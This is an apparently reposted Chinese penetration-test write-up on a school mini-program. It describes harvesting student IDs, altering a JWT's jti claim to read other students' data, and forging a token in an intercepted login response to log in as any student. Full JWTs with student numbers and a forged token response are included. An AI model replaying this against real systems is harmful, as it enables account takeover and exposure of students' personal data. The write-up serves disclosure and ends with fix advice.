信息收集 获取相应学号信息
0x02 渗透测试
搜集到相关小程序点击去注册
可任意注册,无相关认证,随意输入相关信息
注册账号为学号202015701 成功登录
点击个人中心在burpsuit中抓取数据包
数据包中的认证加密方式为jwt,通过在线加密网站查看加密内容
测试发现返回内容只和jti参数有关,更改相应的参数jti为4086 name参数不变
jwt更换后的内容
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiMjAyMDE1NzAxIiwianRpIjoiNDA4NiIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvZXhwaXJhdGlvbiI6IjIwMjMvNi8yIDQ6MTE6MTkiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOiLlrabnlJ8iLCJuYmYiOjE2ODU2MTQyNzksImV4cCI6MTY4NTY1MDI3OSwiaXNzIjoiSE5RUi5DT1JFIiwiYXVkIjoid3IifQ.mgivEIsNbh79RjmTbBMsoA513Q9Ox_dfrDzB4gsv5c8
成功获取了其他学生的身份信息。
回头想了下 我既然已经知道了相应的用户id 和学号信息,那直接来伪造用户进行登录应该是可行的。通过观察自己注册的账户登录成功后的数据包可以密码正确后回返回token
使用学号为2000301414的进行测试,首先进行伪造
之后仿照前面的数据包进行伪造数据
{"status":200,"success":true,"msg":"获取成功","data":{"success":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiMjAwMDMwMTQxNCIsImp0aSI6IjQwODYiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2V4cGlyYXRpb24iOiIyMDIzLzYvMiA0OjExOjE5IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoi5a2m55SfIiwibmJmIjoxNjg1NjE0Mjc5LCJleHAiOjE2ODU2NTAyNzksImlzcyI6IkhOUVIuQ09SRSIsImF1ZCI6IndyIn0.vsU_K9DNgHPw_V1TLbcv4COhwfykgNoE7fek1E644AY","expires_in":36000.0,"token_type":"Bearer"}}
进行登录,不知道密码,随便输入,登录即可。
拦截数据返回包
将下面的数据修改为伪造后的
发送即可
0x03 总结
经过测试发现这个小程序存在两处漏洞,一处水平越权,一处通过伪造token进行任意用户的登陆。水平越权导致的原因是小程序使用了基于token的鉴权方式,而实际校验的部分只有用户id,通过更改用户id即可获取相应的用户信息。第二处伪造token进行任意用户登陆需要依托于水平越权,获取到响应用户的学号和用户id后,通过观察注册用户成功登陆后返回的token值进行伪造即可登陆任意用户。
0x04 修复建议
1.使用强密钥
2.使用安全的加密算法
3.不要暴露敏感信息
原文始发于微信公众号(暗魂安全团队):记一次小程序渗透测试
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论